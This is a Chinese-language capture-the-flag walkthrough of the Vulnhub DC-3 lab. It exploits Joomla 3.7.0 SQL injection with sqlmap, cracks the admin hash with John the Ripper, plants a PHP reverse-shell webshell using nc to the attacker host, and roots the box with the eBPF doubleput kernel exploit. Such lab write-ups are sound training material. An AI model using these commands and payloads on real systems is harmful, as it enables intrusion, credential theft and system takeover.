介绍

在VMware中搭建环境,网络选择NAT或者桥接,确保攻击机和靶机在同一网络下即可,我这里选择的NAT。

靶机:192.168.254.131(DC-3

攻击机:192.168.254.128(Kali)

物理机:192.168.254.1(Windows10)

信息搜集

网络扫描

先扫描靶机IP及开启的服务

$ nmap -sn 192.168.254.1/24

进一步扫描靶机开启的服务

$ nmap -sV -p- 192.168.254.131

目标靶机80端口存在httpd服务。

查看网站相关信息

打开站点,一个登录界面,使用插件wappalyzer查看网站的相关信息。

可以看到该网站使用CMS为Joomla

漏洞扫描及利用

漏洞扫描

在漏洞库中查询 Joomla 漏洞,首先查询版本。

获取版本号可以用joomla的专用扫描器 joomscan来扫描

$ joomscan -u 192.168.254.131

查询该版本的漏洞

$ searchsploit joomla 3.7.0

发现该版本存在SQL注入漏洞和跨站脚本漏洞。

漏洞利用

查看SQL注入的信息,先复制到当前文件夹

$ searchsploit -m 42033.txt
$ cat 42033.txt

这个文件里面都把利用命令给出来了,直接复制粘贴,然后修改一下IP地址即可使用。

sqlmap -u "http://192.168.254.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

测试可用,一把嗦。

库:Joomla

表:#__users

得到管理员密码。

flag

flag

拿到的管理员密码是密文,尝试用约翰开膛手破解。

把密文保存到文件中,开始破译。

$ echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > pass.txt
$ john pass.txt

拿到密码:snoopy,成功登录后台。

通过修改模块中的php文件,插入一句话木马,然后通过中国菜刀或weevely连接获取shell的方法。

写一个反弹shell的木马。

<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.254.128 1234 >/tmp/f');?>

上传木马

随便选择一个模板

新建文件

选择文件名和文件类型

将刚刚写的马复制过来,保存

监听1234端口

$ rlwrap nc -lvnp 1234

访问木马,执行代码,成功反弹shell!

接下来就是提权了。

$ find / -perm -u=s -type f 2>/dev/null
$ sudo -l

经过查找没有发现s权限的文件也没有发现可以用root权限执行的命令。

这种情况还是需要用searchsploit来查找提权漏洞。但是查找前需要知道系统的版本号和内核版本号。

$ cat /etc/issue	#查看系统版本号
$ uname -a 			#查看内核版本号

得知系统为 ubuntu 16.04,内核发行版本为 4.4.0-21

查找相关漏洞

$ searchsploit ubuntu 16.04

发现三个对应内核版本的漏洞。

三个都行,这里选择39772,复制payload后打开。

$ searchsploit -m 39773.txt

根据地址下载 zip 文件,解压后发现两个文件,将exploit.tar上传到靶机上,解压执行。

$ :file_upload2web exploit.tar		#上传文件到靶机
$ tar -xvf exploit.tar  			#解压exploit提权脚本tar包
$ cd ebpf_mapfd_doubleput_exploit	
$ ./compile.sh   					#执行脚本,编译文件
$ ./doubleput  						#执行提权文件

成功拿到flag

总结

学到的知识

  1. searchsploit 查询漏洞。
  2. 约翰开膛手爆破加密后的密码。
  3. 利用 linux 内核漏洞提权。

参考

vulnhub DC3 靶场练习

Vulnhub靶机实战——DC-3